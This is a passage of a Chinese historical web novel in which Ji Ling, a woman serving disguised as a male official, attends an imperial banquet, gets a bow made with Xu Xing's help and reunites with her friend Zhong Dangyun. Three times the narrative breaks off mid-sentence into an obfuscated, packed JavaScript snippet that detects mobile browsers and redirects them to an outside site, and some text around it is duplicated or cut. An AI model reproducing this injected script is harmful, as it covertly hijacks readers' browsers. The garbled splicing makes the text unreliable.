在宫门前落轿,林微不能陪她入内,季泠只身往奉天门走去。 但逢大庆节日,皇上都会在奉天门前宴请百官。 只是不知为何,去岁双节,皇上都免了宴席。以至于她入仕将近一年,这还是第一回赴宴。 可即便已经入仕一年了,她遇到这样的场合,还是不免紧张。 抬眼看向奉天殿,一步一顿,倒不像是去吃席,更像是去服刑的。 季泠走得缓慢,陆续而来的官员从她身边经过,她低着头,只想避开所有审视的目光。 可偏偏有一条影子在靠近她后,逐渐与她并肩前行。 季泠盯着地上逐渐拉长的倒影,那颗头还时不时朝她歪来,虽然控制得当,可细微的动静还是被影子描摹的轮廓放大了。 季泠侧头,余光一瞥,随即惊讶出声:“徐先生?怎么是您?走在我边上也不吱声,吓我一跳。” 徐行先前还不敢确定,这下季泠转过了头,看清她的正脸,终于没忍住发问:“你怎么成这副样子了?” 季泠有些不服气,抬眼瞪他:“先生以貌取人?” 徐行忍俊不禁,背过手去,忙摇头说没有。 季泠摸了摸自己的脸,却是十分满意:“黑了些对吧?还瘦了些。先生也知道,我是海边长大的人,到了西北总有些不适应。风大沙粗,将脸都磨糙了。” 她确实晒黑了不少,盛夏之时,连日在外奔波,有时候脖子都晒的脱皮了。加上气候干燥,她水土不服,脸上就不免粗糙起来。 可加深的肤色却将她五官的轮廓刻印得更加浓烈,东南清水抛润的石块,经由西北的烈风雕琢,多了几分刚毅和不屈。 徐行看她似乎很高兴,也乐意应和:“看起来确实更有活气了,不是那副弱不禁风的样子。” 季泠对于他的认可非常满意,转过头小声对他嘀咕一句,徐行侧头俯身,她的双眸吸纳了草原熠熠星河。 “这下更看不出我是个姑娘了吧?” 徐行嘴角微动。还是这副性子,西北去一趟回来还更野了些,更不知收敛了。 “看来你此行很满意?不像是去看顾粮饷的,倒更像是去游玩的。” “学生不过是苦中取乐罢了。但是这一路确实挺有意思的,西北风光和京城不一样,和建州也不一样,虽然没工夫驻足欣赏,但是那股子辽阔浑大的气势,让人流连沉醉,难以抽离。我算是明白天地一沙鸥所言为何了。” 季泠神采奕奕,徐行似乎能从她眼中看见大漠孤烟直,长河落日圆的盛况。 他看向前路,说回了正事:“此番还要多谢你在宣大山西多地斡旋调查,我们这儿才能这么快收到消息,拿到周平等人欺压军户、私吞粮饷的罪证。” 季泠收起玩乐的笑容,目视前方:“学生本分而已。况且,这也牵扯到了户部之职,我理应做些什么。只望先生替我记上这笔功劳,让我来日好一路高升。” 徐行点头:“听说你在粮饷路线上出了新策,既省了费用,又不延误供给。这确确实实是你的功劳了,现在京城都已经传开了。” 季泠倒没有因此而激动,只是翻过双手,看着自己的掌心,低声说着:“能够及时供给就好,也不算枉费我们这样上下奔波。” 徐行转头,就见她手上累累伤痕,还生出了许多茧子。 “你上前线了?” 季泠甩了甩手,随意地垂下:“自然没有,只是随着车队行军去了。” “你怎么亲自做这些事情?” 季泠像是听到笑话一样,上下扫着徐行:“那不然先生真以为我是去游山玩水了?那儿可是战场,一不慎重,葬送的全是活生生的人,是千万家庭的希望,是千里边境的防线,是国祚无虞的支柱。” “我既然承担下他们衣食辎重之责,这是他们保命的东西,我自然要慎重再慎重。总要随队,实实在在地将各个站点、据地、粮仓、城镇都走一番,押送过一回,才好制定出真正有利的路线。否则只是纸上谈兵,岂不是贻误战机?” 徐行坐在京城,是真没想到季泠这半年做了这么多事,有些汗颜:“抱歉,是我狭隘了。只是你这样一番,岂不是没有片刻休整歇息?” 西北之程艰险,风餐露宿、缺衣少食,她既要探查军户之事,及时与京城通信,又要制定供粮计划、随军押运,还要保证自己的身份不被发现。她是怎么做到事事圆满的? 两人已行至奉天门设宴处,季泠转身,气度如松,脊背如竹,东南西北,千磨万击,她亦不畏不惧,不磷不缁,不卑不亢,不挠不屈。 季泠坦然地对上徐行的眼睛,没有流露半分疲累与抱怨,反而朝着他粲然一笑。 “先生在京城不也没有片刻休息吗?京城这半年不也是风雨不歇?食君之禄,忠君之事而已。” 季泠站在丹墀之下,赴宴的官员渐渐多了起来,人来人往,他们不能再继续过分攀谈了。 季泠向徐行俯身拱手:“徐大人,您该入席了。” 徐行从她过往的经历中抽离,恍然发现已经到达奉天门前。 宴循礼制,天子设宴于奉天门,文官坐东,武官坐西,座次根据官员的身份而安排。 四品以上的官员,按照品级上殿侍座;五品以下的官员,只能在殿下丹墀内,按照品级序坐。 季泠站在丹墀之内,目送徐行和其他官员拾阶而上。 她眼中盛了一团炽热的火,是从西北壮阔的落日那里借来,一路烧到京城,烧到奉天门前,之后掷向青天,烧出一轮溶金烈日,照耀世间所有和她一样的女子。 总有一日,她也能跨过这重重墀陛,堂堂正正地坐在上面,受众臣尊敬,得天子器重。 季泠愣神盼望之际,突然有人拍了一下她的肩膀,将她惊了一下。 “执庸?” 季泠立刻转头:“扶春兄,你吓我一跳。” 祝扶春这半年多来第一次见到季泠,实在是惊讶于她如今的变化,目瞪口呆地指着她:“你...” 季泠将他手拍开:“怎么每个人都要这副惊讶样子,不知道的还以为我换皮了呢,先走吧。” 每个人? 祝扶春顺着季泠未来得及收回的视线,就看见徐行走到殿前,正在入座,宽大的朝服衬得他湛若温玉,从容不迫,似乎他生来就该坐在这样的高位。 祝扶春暗暗攥紧拳头,跟季泠身后入席。 “你这半年是去随军了?” “自然没有,不过风吹日晒而已,也不算大事。回京城几月估计就养回来了。” 季泠看着他略有遗憾的神情,作了问:“你怎么一副很可惜的样子?” “只是觉得,你似乎与从前不同了。”祝扶春说得委婉。 季泠却不乐意接这茬:“日升月落,斗转星移,年轮渐宽,人终服老。这样的变化不过是自然,我又不靠皮囊存活,何必叹息。更何况,我们这种熬资历的人,岂不是越老越吃香嘛。” 祝扶春看着身边人,西北半年,她似乎脱胎换骨了:“你不仅样子变了,说话也变了。平添了几分旷达与沧桑。” 季泠笑了笑,坐正了些:“总归是走出去见了些世面吧,有些变化也正常。若一辈子都是少年模样,孩童心性,也枉费在世上走得这一遭了。” 话音刚落,皇上驾临,百官起身一拜三叩,恭迎天子。 待皇上高举酒杯,群臣次举,向圣上表达敬意之后,方开宴用饮。 这次宴席比照的是太学筵宴仪制,若是上桌,则有酒五盘,果子五盘,大银锭、大油酥、宝妆、凤鸭小点心,棒子骨汤三品,菜四色,大馒头,羊背皮酒五钟。 季泠几人坐在中桌,有酒五盘,果子五盘,茶食五盘,煠鱼小点心、大馒头,菜四色,羊脚子饭汤三品,酒五钟。 每次到这样容止恭肃、庄重规矩的场合,季泠就没了胃口,只是端坐着,用些果子茶食,权作点心垫垫肚子。 更何况今日宴席,打的名头是庆功宴,虽然她不是将士,但随军走了一遭,皇上多少是会问到她的,她也该时刻做好准备。 果不其然,酒饭过后,皇上就大赞抚远侯齐威、新任副总兵李关山、宣大总督等人,还格外夸奖了钟荡云。 “齐威,你这个外甥女还真是有你齐家风范啊!竟不输你与你夫人当年英姿,第一次作战就能一往无前,取得顺义王之孙的首级!有这样的巾帼英雄,是你齐家之幸,更是天下百姓之幸!” 还未等齐威与钟荡云应承,皇上就大手一挥。 “朕已决定,封你外甥女钟荡云为瑞云将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446315|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军,望她成为我朝祥瑞之云,护佑边境安宁。” 皇上这个封赏来得意外,齐威和钟荡云多少有些措手不及,舅甥二人对视须臾,就立刻跪地谢恩。 季泠望向丹墀之上,钟荡云银冠束发,意气风发,不由得替她开心,她终于成为了齐家的骄傲,天下女子的骄傲。 “季执庸何在?” 季泠瞧着钟荡云出了神,她的肩背比之昔日的活泼少女,多了几分坚实,已然能够扛起家国重任。 奉天殿前,突然陷入无声寂静。 钟荡云回头,看向她,她接受到好友的目光,朝她会心一笑。可惜距离太过遥远,她并未看清钟荡云眼中的提示。 “执庸…皇上在叫你。”祝扶春见她望向上方欣喜过望的模样,不得不出声提醒她。 季泠顿时冷汗直流,差点误事了。 季泠迅速收回思绪,朝祝扶春投去感谢的目光,双手在膝上摩擦了好几下,吐了口气,竭力缓解自己的紧张。 随后,在左右文武百官的注视下,季泠从案边走出,走到累层阶梯之下,以一身孤勇撑起赤罗威仪。 “臣季执庸,拜见陛下。” 皇上看着季泠,眼中复杂一闪而过。 “朕听闻,正是你制定的运粮网路,为前线士兵作战做好保障,也为户部节省下不少银两,更让鞑靼截取我军粮草的意图未谋先衰。说吧,你想要什么奖赏?” 季泠惶恐,硬着头皮答:“此乃臣之本分,不敢讨赏。” “欸,此前已经论罪责罚,今日设宴就是论功行赏,才能激励人心。你若不讨赏,后面的人朕可就封赏不下了。” 这样的赏赐实在难讨,既不能过分,显得贪婪,又不能太小,损害后头人的利益。 正当季泠焦灼不安、不知道如何回答之时,钟荡云站了出来。 “皇上,臣女有一不情之请。” 皇上意外她的发声,准许她的进言。 “臣女与季大人在西北相处数月,十分欣赏季大人的勤恳忠正之气。季大人不善言辞,不知如何讨赏。臣女斗胆,借臣女与季大人的功劳,为她请一份更大的恩赏。” 齐威没料到钟荡云会这样大胆,呵斥住她:“荡云!天子面前,不可唐突妄言!” 皇上却十分开怀:“欸齐威,我倒是很喜欢荡云这副有话直说、敢争敢做的性子。” “你说,你想要为季执庸请什么恩赏?” 钟荡云深吸一口气,看了一眼大位之上的人,重重地磕了一个头,才说话:“季大人朗迈真直,忠君奉主,朴纳诚笃,讷口少言。臣女想,为季大人求一份恩典,求一份宽恕,若是季大人日后有什么越轨逾矩之举,还请陛下看在季大人的夙兴夜寐、任劳任怨、兢兢业业的份上,以及荡云今日的功绩,仁心免罪,宽恕一回。” 此言一出,群臣愕然。 这是为季泠求一份免死金牌? 徐行深感不妙,钟荡云肯定是知道季泠的真实身份,但是这样贸然以功求赏,太容易招致陛下的猜忌与不满。 季泠也被钟荡云的直言震住了,却不能在此时擅自出言。 大殿上下,两个姑娘同跪于君,神色坚毅。 钟荡云珠玉般的声音落下后,奉天门上,鸦雀无声。 所有人都为钟荡云和季泠捏一把汗。 打破这阵沉寂的,是那位九五至尊的笑声。 “好好好,齐威,你家这女娃实在胆大,不曲意媚上,朕喜欢!既然如此,朕准了!” “严诚,将那块玉玦交给季卿,以此为证,若他日失言降罪,以玉抵过。” 皇上龙袍一扬,复又大笑,举杯饮酒。 众臣瞬间忘却方才噬人的沉默,也随之笑了起来,应和皇上,称赞钟荡云意度直率、齐威教女有方。 “季大人。”严诚亲自将玉珏从送下来,交到季泠手中。 季泠双手接过,以谢天恩:“多谢严公公。” 起身归位,她紧紧地捏着这块玉玦,看着它泛出柔和却有力的光芒,心中动容。 钟荡云,不顾一切,用自己的军功,为她赌一条生路。 有友如卿,此生无憾。 季泠并不知道,今晚的她,于无声处,成为众多人眼中的焦点。 祝扶春转头看向抚摸玉玦的季泠,不知道在思量着什么。 徐行穿过重重帷帐般的朝服大袖,凝望着季泠的劫后余生。 钟荡云坐在武官一侧,心满意足地端起酒樽,朝着斜下方看去,祝愿自己的好友能永无后顾之忧,大展宏图。 齐威看着钟荡云,又看向季泠,内心忍不住捏一把汗。齐家满门荣耀,不能因他的失察和钟荡云的任性而折损。 皇上兴致大发,似乎毫不在意钟荡云的意有所指、季泠的可能逾矩,享受着群臣敬重,万民景仰。 低头刹那,每个人的心中都藏着百转千回的情绪。 可当抬头举杯之时,又全部换上别无二致的笑脸。 “陛下圣明!” 54. 夜探徐宅以求援手 休沐日,轩墨阁内,季泠如往常一样来挑选自己所需的文房用品。 许多人在笔墨纸砚上很讲究,认定了一种,便一直用下去,若是突然更换,似乎就不趁手了。 季泠却怪异,这些东西她就不喜欢一直用一样的,隔三岔五就会来逛一逛,换些新花样。 挑选这样日日都用的东西也不能叫人代劳,更何况这还是她吃饭的家伙什,只有她自己才明白自己的喜好。 季泠在木架上翻着纸,选了几刀毛边纸和玉扣纸。 曾经在建州,毛边纸是她最常用的,采用的就是当地的竹子做出的竹纸,虽然廉价,但吸墨性强,也算是不错的用纸了。到了京城后,她倒是少见这样的纸,大家都爱用宣纸和澄心堂纸。 又挑选了一只梅花枝型的笔搁,季泠就走到柜台付账。 掌柜的抬头瞄了她一眼,从底下掏出一叠新纸:“这是小店新进的纸,客官可以试用一下。若是不错,下次再来光顾。” 季泠摸了摸纸,点点头称赞:“不错,那就多谢掌柜的。” 回到浮云堂,季泠将买回的纸归整好,从掌柜的送的纸中熟门熟路地摸出一封信。 是钟荡云寄来的,她会心一笑,打开来:“九月廿五申时,流音阁相会。” 九月?她本来想今日给钟荡云传信,明日就想见她的。 后日是钟荡云的生辰。她们已经三年没有给彼此过过生辰了。 季泠仔细一想,却也理解。 之前钟荡云骤然离家,年初回了京,还没多久就披甲上场了。虽然此次战役他们是大获全胜,但齐侯爷旧伤复发,钟荡云还需要照顾他与齐家诸事。 不仅如此,战胜之后也不是拍拍手各回各家就好了,军中赏罚、军纪整顿、军心安抚、亡者抚恤、军队操练...还有一大摊子的事务等着齐府去收拾,钟荡云这个将军不能空得头衔,皇上、兵部和其他各地的兵马驻军势必都会盯着她这个腾空而出的女将军。 钟荡云回京后反而是忙得脚不沾地,用她的话说,还不如在边关打仗呢,不必操心这么多杂事,也不必和那些拐弯抹角的文臣打交道,猜谜语。 虽然钟荡云年初回来了一个月,但是她们两人各自忙碌,始终也凑不到一块儿。 后来季泠求了应惟绅,奔赴宣府时,钟荡云才知道,原来季执庸居然就是季泠,也总算是明白为什么季泠一直不对她言说近况。 可惜两手头中各有要事,肩上各有责任,来不及叙旧,就又各奔东西了。 如今在京城,她能全心信赖的故友并不多,钟荡云既然回来了,她便无比迫切与她相会。 看来只能耐心地等待下个月了。 恰好利用这一个月,她要为钟荡云准备一份生辰礼,顺便庆贺她的首战告捷。 该送什么好呢?季泠想了好几日。 配剑钟荡云已经有了,长枪方戟她用的少,金银绫罗齐府压根不缺。 左思右想,季泠灵光一闪。 不如就送弓箭吧! 为钟荡云打一把好弓,无论是日后上阵杀敌还是游玩狩猎,都能用的上。 可是她对这些一窍不通,去哪里打一副好弓呢?又该选什么材料、什么形制…… “你在想什么呢执庸!” 林微走进浮云堂,就看见她坐在窗边的软榻上,拖着下巴望向窗外发呆。 “我想做一把弓…京城有什么合适的兵器铺子吗?不过那估计大多都只适用男人。” “林微,你会做那么多暗器,会做弓箭吗?” 林微摇摇头:“我只会做一些小东西,要打一张好弓,得去专门做这些的铺子里打。你想做什么?” “荡云生辰过了,我想在下月与她见面的时候,送一把弓给她做生辰礼。” 林微替她想了主意:“京城有一些大人,他们有养着侍卫府兵,都有配备武器库,你可以去找个合适的人问问。” 京城的大人…那她能找谁去?若是贸然去问,到时候又惹出无端的风波。 上一会庆功宴,钟荡云为她请赏,就有许多人猜测她与钟荡云是不是因鞑靼之战生情,明里暗里地来打听,想看看她是不是要成为抚远侯的乘龙快婿了。 要不问问祝扶春吧,户部其他同僚与她年纪都差太多了,她素日也只和他们保持正常的来往,实在是没什么过好的私交。 如此想来,季泠突然觉得自己很失败,都已经在户部呆了一年多了,左左右右也认识了不少人,居然找不到一个可以深交的朋友。 “我去问问扶春兄。” 季泠打定主意,站起来准备立刻去找祝扶春。 林微拦住她:“诶,这事你可不能找他。且不说你去过他家里多回,压根没有什么武器装备,他的身手甚至不如你。更别说他和他那位母亲一直想把祝姑娘许配给你,你这不是自己找不痛快吗。” 林微这么一说她才想起来,垂头丧气地一屁股坐回去:“天啊,做个男人也太难了吧,做什么都要被各家的姑娘扯上干系!” 林微笑了:“做女人也难啊!我这样鞍前马后,尽职尽责,你身边那些人也没用正眼看我,不觉得我是你的贴身女官,只觉得我是你的姘头,唉,清白就这样无端葬送了!” 季泠和林微彼此相望,都苦笑起来。 “要不我回公主府里问问。之前教我们射箭的吴师傅,兴许会知道。” 季泠被这个事情耽搁了好久,要尽快解决。一来是她老想着这件事情,难以专注,二来是打一件兵器总要十天半个月的,她要在会面那日送出去才行。 “吴师傅早就被公主安排外任了,现在教习师傅我们不认识。” “我想到一个好人选。“林微突然坐正,一本正经起来。 “谁?” “徐大人。” 季泠一听直摇头:“不行不行。他可不是什么好人。知道我要打弓,铁定又会装先生样说我的。” 她倒也不是怕徐行,只是他总爱露出那副架势,叫她又怵又惧。没人喜欢被说教,偏偏她装乖都装不像。 如果徐行能够跟她好好讲话,其实也不失为是一个好朋友,她和徐行可比和祝扶春要谈的来些。 “你瞧瞧他身边那四个近卫的装备,再看看你上次受伤,他为你请的大夫,他肯定有精通的门路。最主要的是,他是你和表小姐的先生,知道你们的身份和关系,不会乱揣测多嘴。” “嘶,这样一说,好像也有道理。” 季泠坐不住了,拔腿就往外跑,她先想办法见到徐行再说。 漆黑的夜晚最适合浑水摸鱼,季泠摸到玉兰胡同,就看见从侧门出来的抱月 一个石子滚落。 “谁?!”抱月立刻转头,就看见季泠像耗子一样猫在玉兰树后,缩头缩脑地看着他。 抱月忍不住抽了抽嘴角,带着季泠直接进了侧门。 “你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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徐行点点头,写了一处地点递给她:“平日下值之后,你若没事,就去这儿,与工匠沟通即可。” 九月廿五当日,季泠还未收到工匠的准信。可偏偏那个铺子在京郊,她要去一趟也实在不容易。 她已经没时间再等了,才一下值,回石竹巷换了便衣,又摸上徐家去。 季泠才坐在行简斋堂中没多久,就看见才刚刚归来的徐行。徐行还未换下补服,匆匆忙忙地赶进来。 季泠脑子一热,屁颠屁颠地行了礼:“徐大人。” 她虽然不善嘴甜,可一向是识时务的,眼下她虽然着急,可毕竟有求于人,还是该识礼数些。 徐行明显一顿,看了看院子中,览风点了点头,他才放心回头。 “出什么事了?” 季泠赔着笑道:“那把弓?” 徐行皱眉,他诸事缠身,还真没去跟进那把弓的情况,还不及他安坐下来,便招来阅云:“陈师傅那儿送来了吗?” 阅云瞥了季泠一眼,恭敬道:“刚好才送来,赶着日落之前进城的。” 徐行点点头,接过季泠老实奉上的茶,仍是留有风度地慢饮两口。 “走吧。” “去哪儿?”季泠忙不迭地跟上。 “演武场。” 55. 泠云流音阁再重逢 季泠拿到弓时,爱不释手,在徐宅的练武场中迫不及待地上手试用。 满弓长开,百步穿杨,季泠自信张扬地持弓昂头,一转头就对上徐行的眼睛,立刻老实地收敛起了。 “你的箭术倒是出人意料的好。“ 徐行十分惊讶,季泠什么时候修炼的一手好箭术。 “先生总是小看我,殊不知我的本事大如天。” 时候不早了,她要赶紧准备着去流音阁。 “没想到一月时间,先生的人就能打造出这样的一把良弓,学生多谢先生相助!” 徐行叫住她:“等等。” 季泠乐不思蜀地走出来好几步,才转头,却又见一张新弓。 徐行拿着绒布细细擦拭着,将那张弓递给她。 季泠惊异道:“又一张?一模一样的?” 徐行带着她一起走出武场,朝马车走去:“你的生辰礼。” 季泠将两把弓小心翼翼地放入览风和阅云手中的木盒中,不可思议地看着他:“我?” 徐行淡然点头:“你的生辰不是八月十八吗?” “先生怎么知道?” “钟荡云及笄那日,我为你取了字。” 季泠恍然大悟,在将要消散的夕阳金光中,控制着雀跃轻点的步伐,偷偷瞄着徐行。 徐行就是凭借这样的细心混到如今的地位吗?相比起来,她在这方面似乎总是欠缺许多。 看来祝扶春说得没错,人情世故确实很重要。这样细水长流又润物无声的温柔,真的很容易让他人对其颇生好感。 难怪张瑛和钱莘都狠不下心弄死他,若是她,也是舍不得的。 先人之言果真蕴藏智慧,她就该与智者同行。她以后更该多多留心,把徐行的本事通通学来。 一想到此处,季泠就激动地仿佛捡了座金山,低头略过去路,忍不住畅想自己日后云淡风轻、收服人心的模样。 下一瞬,她就因为过于得瑟而撞到前人的肩上。 季泠捂着额头抬眼,徐行正无可奈何地看着她,她磕磕巴巴地说了一句抱歉之后,却又嘴快地赞扬了他一句:“先生底盘真稳,这样都没摔跤。” 而后,接收到徐行似笑非笑的眼神,她恨不得抽自己两耳光,这话说得仿佛她盼着他摔跤似的。 徐行看着她摇摇头,似乎看见一个孺子不可教也的顽童,随即走进里屋,将她晾在外面。 季泠无措地看着览风,低声问他:“我说错话了?你家少爷生气了?” 览风也很无奈,她如今怎么也算是个朝廷官员了,怎么一点也不稳重呢?他少爷素日接见的臣属中,就没有季大人这样的。 可他仍然是爱屋及乌地安抚这位季大人:“季大人放心,我们少爷不会那么容易生气的。” 季泠明显不相信:“真的?” 览风点点头,徐行走出来时,就看见两人交头接耳,似乎相谈甚欢。 “走吧。” 季泠转头看去,徐行已经换下了补服,换了一件雪青色忍冬纹直身。 原来他刚刚是去更衣了。 季泠似乎仍然在状况之外,徐行在她面前一顿,示意她跟上。 “你拿着弓直接出门不方便,正巧我也出门,你去哪儿,我送你。” “流音阁。我们约在流音阁相见。” “真巧,我也准备去流音阁,那走吧。” 坐在徐家的马车里,季泠已经没有以前那么拘束了,果然陌生才是畏惧的源泉。 她如视珍宝地抱着两个弓匣,只顾着期盼着待会儿的见面,全然忘记了一旁的徐行。 车外的阅云小声抱怨:“寻常一把良弓一个月怎么可能做得完,干、角、筋、胶、丝、漆六种材料,至少提前一年就要准备,干在冬天就要晾晒,弓角用的牛角在春日就要浸泡,弓弦在夏天进行制作…连这弓的弓背都是上好的紫衫木…季大人一开口,就把咱早就准备好的材料都用光了…还一下拿走两把……” 览风拍了他一下,示意他谨言慎行些,别叫少爷听见了。 可惜今日似乎逆风,将他们的话全部吹入车内,让季泠和徐行听了个十成十。 季泠摩挲着盒缘,略带歉疚地看着徐行:“先生,是这样吗?我的一句话,将您准备许久的材料都用掉了?” 徐行倒是毫不吝惜:“终归都是要用掉的,用在给将军的弓上,也算是物尽其用了。况且,钟姑娘曾经也算是我的学生。” 季泠觉得徐行的形象一下子伟岸起来,搓搓手冲他一笑:“先生,您真是个大方的好人。” 徐行憋住笑意,平淡地点了点头。 季泠却也不再看他,只在心里评判徐行的那杆秤上,在“好”的那一侧替他多添了一个码子。日后若是他有所求,她看在今日的恩情上,一定会出手相助的。 不过仅限私事。 马车驶入流音阁内停下时,季泠已然迫不及待地抱着两个木盒准备跳下。 徐行当即出言拦住:“你拿着两把弓,如何与钟姑娘解释?” 季泠一顿,这还要解释吗?直接说是徐行送她的生辰礼不就可以了? “她是齐家女,与你不同,不能随意与文臣扯上关系的。” 季泠这才意识到其中利害,原是她一时情急,反而忘记,如今的她们,已经有了各自的立场与身份。 “你带一把去即可,另一把放马车里。等会儿你结束会面,让览风将你送回去。” “那先生呢?” “我自有去处。”徐行朝她微微一笑,似乎意有所指。 雅间内,季泠坐在屏风之后焦灼等待。 “吱呀。” 隔扇门被轻轻推开,她立刻站起,闪身到屏风侧围,借由纱帘遮挡,注意来人。 见到是钟荡云,季泠终于放下心来,立刻现身迎上前去。 姐妹相拥之际,季泠百感交集。昔日,她们可以挽手同行于长街深巷,而今朝,她们却不得不审慎万分,钟荡云一身不起眼的布衣,而她亦是以网巾曳撒遮掩身份。 季泠打开木盒,将那把良弓交给钟荡云。 “荡云,这是我补上的生辰礼,只愿今年见,明年重见,春色如人面。” 钟荡云轻抚弓身,明眸中流溢着独属于她的、灿烂豪爽的喜悦。 “泠儿,这礼贵重,我真心喜欢!只是我粗心,没给你准备…” “你怎么会没准备呢!那日庆功宴,你已经给了我最好了礼。荡云...我不知道我该如何谢你...你不仅要赌上你自己的前程,还肩负着齐家的安危。” 钟荡云握住好友的手,从中攫取让她坚定前行的力量:“泠儿,你忘了,曾今我说过,你是我的妹妹,既然如此,危难之时,我应该要保护你。” 可钟荡云越是这样毫无理由地对她好,就越让季泠觉得内疚。 “自从离开建州,一直都是你在为我考虑,为我担忧,我从未替你做过什么。甚至,最后,我还抛下你,离开齐家。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446317|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她自认为,她唯一能够带给钟荡云的,就是陪伴。钟荡云身边缺少一个同龄的玩伴,她恰好因为同窗之谊,幸运地入了这位英杰般爽利的姑娘的眼中。 可她享受了钟荡云和齐府给她带来的优渥生活与大好机遇之后,又自私地潜逃出府。 她越是风光,对钟荡云和齐家的愧疚就越是沉重。 可她如今能力不足,仍无法为齐家和钟荡云做任何事情。她每一缕蓬勃爆发的炫辉都曾暗融齐家的供养,这更让她深感愧怍。 钟荡云却摇摇头:“泠儿,你不要将此作为负担,压在心上。我不在意这些,我甘愿为你做的。况且,这些对我来说没什么。我想要的,你早就给我了。” “什么?” “陪伴,认可,欣赏,指引,鼓舞。或许你觉得这样的东西虚无缥缈,似乎一文不值。但你给了我最珍视的东西。” 钟荡云的豪情万丈,除了齐家人,无人慧眼赞赏,甚至她的亲生父亲都觉得她不伦不类,不像个正常姑娘,还责怪是齐府将她养坏了。 她没有母亲,舅母再好,也代替不了母亲。她也没有姐妹,兄弟再多,也不能理解她夜深人静的孤寂与无助。 在书院见到季泠的第一眼,她就知道,季泠和她骨子里是同一种人,不顾世俗,只想追寻自己的价值。 但正是因为这条路的人迹罕至,她们更加渴望认可,渴望陪伴。 她是孤雁,荡云而来,栖身在季泠身边,执子偕行于她们最纯粹无忧的年华。 季泠离开齐府后,她知道,自己也该离开了,齐府曾经困住了她的舅母,但如今困不住她。 荡胸生曾云,决眦入归鸟。 “去年,无咎及冠之后,我便明白,我该要离开了。我带着我的剑,去看了天下山川。泠儿你说的对,十七岁的我们都太年轻,不知道自己究竟想要什么。虽然我只在外面走了半年,可我见了许多人,遇到许多事,似乎感觉自己已经变得不像自己了。” 季泠摸了摸她的脸,钟荡云从前像个娃娃一般,她曾一再感叹于这样的一张脸,却拥有无穷无尽的力量。而如今,她的脸颊仍然带着稚子的圆润,神情却染上了边疆的风霜。 “我们都已经长大了,自然是不像从前了。可是荡云,你还是那个坦荡如砥的好姑娘。” 钟荡云握住她的手腕,将她的双手合于自己掌心之中,轻轻说:“泠儿,我怕是又要走了。” 季泠早就料到会有这天。 “皇上的旨意?” 钟荡云点点头:“若非此次舅舅生病,我是没想回来这么久的。此行,我还未走到西南,本想之后去看看西南风光,走走他们说的难如登天的蜀道,看看皑皑白雪的高山。” “可是我高估自己了,在皇上眼中,我与齐家一体,我不能再任性。” 钟荡云成长得比季泠想象得更快。不过三年,在权衡之中,她已然将家族责任置于个人志趣之前,挥剑斩断自己流连的过往,披甲守卫遥远的边疆。 季泠看出她的落寞,想出言开解:“荡云,你曾也想过建功立业。” “可我更想不受约束。泠儿你知道的,战场是布满硝烟的官场。我怕我走不下去。” 季泠沉默半晌,毫不犹豫地奉献她能给的一切。 “荡云,你放心,户部之内,我手眼可达之地,我将拼尽全力,护佑住齐家,护佑住你。” 钟荡云笑了,终究是忍不住,仰头将泪甩开:“所以我说泠儿,你早已给了我许多。” 56. 清官微吏难捱风雪 早朝散朝后,徐行、谭谦和华荣公主被皇上留下议事。季泠退出大殿,若有所思。 这已经不是陛下第一次单独留下三人了。 徐行和谭谦有什么要事,会与公主扯上关系呢? 公主与他们师生对上,会不会吃亏?陛下心之所向,究竟是谁? 她想弄清其中的牵扯,可自她从西北回来之后,公主再没找过她,她也不能贸然去询问。可谭谦和徐行都不是好对付的人,公主能应付的来吗?她能替公主做些什么呢…… 季泠垂头思忖,步履极缓,渐渐落在了退朝人流末端。晨光如氤氲雾气,漂浮在她周身,将她笼罩在与世隔绝的宁静之中。 她身旁的祝扶春见她久久不言,终于忍不住打断她的思绪:“执庸,你与公主和徐大人都相熟,他们这几个月究竟都在谈论些什么?” 季泠内心一跳,停下脚步,上下打量着他。 “怎么了?” 季泠抱手而立:“谁说的我与公主和徐大人相熟?” 祝扶春笑如春风化雨:“道听途说罢了,是我妄加揣测。之前见你与徐大人多次相谈甚欢,你又是公主府里出来的,我自然先入为主。” 季泠摇摇头:“我也不知道他们在商谈什么。先扫好我们自家门前雪吧。秋粮收上来,我们有的忙了。” 两人一深一浅地走着,京城的风雪又大了一些。 不必季泠去打听,公主已然派人找上门来。 季泠走进礼贤殿时,就见到意料之外的两人,从前,她在礼贤殿,是从来没见过外臣的。 她走到殿前,朝坐在一左一右的两人行礼:“谭大人,徐大人。” 谭谦似乎诧异于她的到来,看了一眼指引的越兼,微笑示意她免礼起身。 原来,徐行的一颦一笑都师承自谭谦。可谭谦看起来,可比徐行的城府要深多了…… 她亦微笑应对,内心却不免慌张。 张瑛归乡后,谭谦便入了阁,连带着徐行的地位都非同一般了。 当越兼引她入座之时,她毫不犹豫地选择了徐行身侧的圈椅。 等公主到达时,三人纷纷起身,季泠抬眼便接收到公主的示意,大致明白了意思。 看来,今日公主找她来,是要她加入三人前段时日的筹谋之中。 究竟是什么事,能同时牵扯礼部、吏部和户部呢? 